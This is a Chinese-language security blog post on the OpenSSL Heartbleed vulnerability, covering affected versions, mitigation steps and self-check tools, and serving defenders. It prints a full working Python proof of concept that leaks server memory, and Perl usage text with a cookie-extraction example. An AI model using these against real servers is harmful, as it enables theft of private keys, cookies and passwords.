loading

OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞


OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160),被稱為「Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug

  • 軟體名稱:OpenSSL
  • 影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta ~ 1.0.2-beta1
  • 修復版本:1.0.1g / 1.0.2-beta2
  • 影響系統版本
    • Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
    • Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
    • CentOS 6.5, OpenSSL 1.0.1e-15
    • Fedora 18, OpenSSL 1.0.1e-4
    • OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
    • FreeBSD 10.0 – OpenSSL 1.0.1e 11 Feb 2013
    • NetBSD 5.0.2 (OpenSSL 1.0.1e)
    • OpenSUSE 12.2 (OpenSSL 1.0.1c)
  • 影響服務:HTTP、SMTPS、IMAPS、POP3S 等使用 OpenSSL 之服務

OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt

A missing bounds check in the handling of the TLS heartbeat extension can be
used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including
1.0.1f and 1.0.2-beta1.

如何自我檢測?

要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。

直接輸入 Domain 即可查詢,例如「fbi.gov」。

OpenSSL CVE-2014-0160 Heartbleed 檢測: fbi.gov

使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。

OpenSSL CVE-2014-0160 Heartbleed 檢測: ifttt.com

原始碼如下:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

使用方法直接執行「perl check-ssl-heartbleed.pl mail.XXXXXX.gov.tw:443」,可在網域名稱後指定特定 SSL 連接埠。

使用說明:

Check if server is vulnerable against heartbleet SSL attack (CVE-2014-0160)
Usage: check-ssl-heartbleed.pl [ --starttls proto[:arg] ] [ --timeout T ] host:port
  --starttls proto[:arg] - start plain and upgrade to SSL with
			   starttls protocol (imap,smtp,http,pop)
  -T|--timeout T         - use timeout (default 5)
  -H|--heartbeats N      - number of heartbeats (default 1)
  -s|--show-data [L]     - show heartbeat response if vulnerable, optional
                           parameter L specifies number of bytes per line (16)
  -R|--show-regex-data R - show data matching perl regex R. Option can be
                           used multiple times
  -q|--quiet             - don't show anything, exit 1 if vulnerable
  -h|--help              - this screen

Examples:
  # check direct www, imaps .. server
  check-ssl-heartbleed.pl www.google.com:443
  check-ssl-heartbleed.pl www.google.com:https
  check-ssl-heartbleed.pl mail.google.com:imaps

  # try to get Cookies
  check-ssl-heartbleed.pl -R 'Cookie:.*' www.broken-site.com:443

  # check webserver via proxy
  check-ssl-heartbleed.pl --starttls http:www.google.com:443 proxy:8000

  # check imap server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls imap imap.gmx.net:143

  # check pop server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls pop pop.gmx.net:110

  # check smtp server, start with plain and upgrade
  check-ssl-heartbleed.pl --starttls smtp smtp.gmail.com:587

應對措施

如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?

  1. 確認自己的 OpenSSL 版本是否在受害範圍
  2. 使用 ssltest.py 檢測工具檢測是否含有漏洞
  3. 更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
  4. 重開所有與 OpenSSL 函式庫相關之服務
  5. 重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
  6. 將網站舊憑證撤銷
  7. 清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
  8. 必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生

詳細討論與建議可以參考
Heartbleed: What is it and what are options to mitigate it? http://serverfault.com/questions/587329/heartbleed-what-is-it-and-what-are-options-to-mitigate-it

誰會是目標呢?

真的會有攻擊者利用這樣的攻擊手法嗎?目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。

怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。

技術發布

8 Comments

  • I have noticed that service fees for on-line degree experts tend to be a fantastic value. Like a full Bachelors Degree in Communication in the University of Phoenix Online consists of Sixty credits with $515/credit or $30,900. Also American Intercontinental University Online offers a Bachelors of Business Administration with a full program requirement of 180 units and a tariff of $30,560. Online studying has made having your higher education degree been so cool because you may earn the degree through the comfort in your home and when you finish working. Thanks for all the tips I have learned from your website. Margie Jess Norling

  • whoah this weblog is excellent i love reading your posts. Keep up the good work! You understand, many individuals are searching round for this information, you can aid them greatly. | Emmeline Hodge Dabbs

  • Hello. This article was extremely remarkable, especially since I was looking for thoughts on this topic last Wednesday. Roselia Boigie Puglia

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。